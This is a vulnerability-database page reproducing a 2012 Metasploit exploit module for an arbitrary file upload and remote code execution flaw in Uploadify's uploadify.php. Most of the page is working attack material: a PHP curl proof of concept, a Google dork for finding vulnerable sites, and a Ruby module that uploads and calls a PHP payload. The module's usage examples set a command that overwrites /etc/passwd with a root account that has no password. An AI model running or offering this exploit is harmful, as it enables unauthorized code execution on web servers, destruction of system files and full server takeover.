Lucene search
K

Uploadify jQuery Generic File Upload

🗓️ 24 Dec 2012 00:00:00Reported by KedAns-DzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Uploadify jQuery Generic File Upload, arbitrary file upload and remote code execution flaw

Code
`# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
# 0 _ __ __ __ 1  
# 1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
# 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
# 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
# 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
# 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
# 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
# 1 \ \____/ >> Exploit database separated by exploit 0  
# 0 \/___/ type (local, remote, DoS, etc.) 1  
# 1 1  
# 0 [+] Site : 1337day.com 0  
# 1 [+] Support e-mail : submit[at]1337day.com 1  
# 0 0  
# 1 ######################################### 1  
# 0 I'm KedAns-Dz member from Inj3ct0r Team 1  
# 1 ######################################### 0  
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
###  
# Title : Uploadify jQuery Generic File Upload (Metasploit)  
# Author : KedAns-Dz  
# E-mail : ked-h (@hotmail.com / @1337day.com)  
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)  
# Web Site : www.1337day.com .net .org  
# FaCeb0ok : http://fb.me/Inj3ct0rK3d  
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com  
# Platform/CatID : php - remote - metasploit  
# Type : php - proof of concept - remote  
# Tested on : Linux Back|Track 5rc2 , Linux SUSE v.11  
# Download : [http://www.uploadify.com]  
###  
  
#####  
## * [ Description ] :=>  
# This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script  
# (jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload  
# and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.  
## * [ Some references ] :=>  
# http://1337day.com/related/18686  
# http://1337day.com/related/19980  
## * [ Google Dork ] :=>  
# allinurl:/uploadify/uploadify.php | allinurl:/js/uploadify/  
## * [ the Basic Proof of Concept ] :=>  
# <?php  
# $uploadfile="k3d.php";  
# $ch = curl_init("http://[HOST]/[Script]/uploadify/uploadify.php?folder=/[path]/");  
# curl_setopt($ch, CURLOPT_POST, true);  
# curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));  
# curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
# $postResult = curl_exec($ch);  
# curl_close($ch);  
# print "$postResult";  
# ?>  
#*** and ->  
# k3d.php :  
# <?php  
# phpinfo();  
# ?>  
#####  
  
##  
# $Id: uploadify_up.rb 2012-12-15 22:05:01 KedAns-Dz $  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Uploadify jQuery Generic File Upload',  
'Description' => %q{  
This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script  
(jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload  
and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.  
},  
'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ], # MSF Module  
'License' => MSF_LICENSE,  
'Version' => '0.1', # Beta Version Just for Pene-Test/Help !  
'References' => [  
'URL', 'http://1337day.com/related/18686',  
'URL', 'http://1337day.com/related/19980'  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Compat' => { 'ConnectionType' => 'find', },  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jun 16 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The URI path CMS/Plugin/Module ", "/"]),  
OptString.new('PLUGIN', [true, "The Full URI path to Uploadify (jQuery)", "/"]),  
OptString.new('UDP', [true, "Full Path After Upload", "/"])  
####  
# Example (1) in WP Plugin :  
# set TARGETURI http://127.0.0.1/wp  
# set PLUGIN wp-content/plugins/foxypress/uploadify/uploadify.php  
# set UDP wp-content/affiliate_images/  
# set RHOST 127.0.0.1  
# set PAYLOAD php/exec  
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd  
# exploit  
####  
# Example (2) in JOS Module :  
# set TARGETURI http://127.0.0.1/jos  
# set PLUGIN modules/pm_advancedsearch4/js/uploadify/uploadify.php?folder=/modules/pm_advancedsearch4/  
# set UDP modules/pm_advancedsearch4/  
# set RHOST 127.0.0.1  
# set PAYLOAD php/exec  
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd  
# exploit  
####  
  
], self.class)  
end  
  
def check  
uri = datastore['TARGETURI']  
plug = datastore['PLUGIN']  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}'/'#{plug}"  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
uri = datastore['TARGETURI']  
plug = datastore['PLUGIN']  
path = datastore['UDP']  
  
peer = "#{rhost}:#{rport}"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("<?php #{payload.encoded} ?>",  
"application/octet-stream", nil,  
"form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")  
  
print_status("#{peer} - Sending PHP payload")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}'/'#{plug}",  
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,  
'data' => post_data.to_s  
})  
  
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/  
print_error("#{peer} - File wasn't uploaded, aborting!")  
return  
end  
  
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}'/'#{path}'/'#{$1}.php"  
})  
  
if res and res.code != 200  
print_error("#{peer} - Server returned #{res.code.to_s}")  
end  
  
end  
  
end  
  
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================  
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem  
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,  
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)  
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection  
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all  
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD  
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs  
#============================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation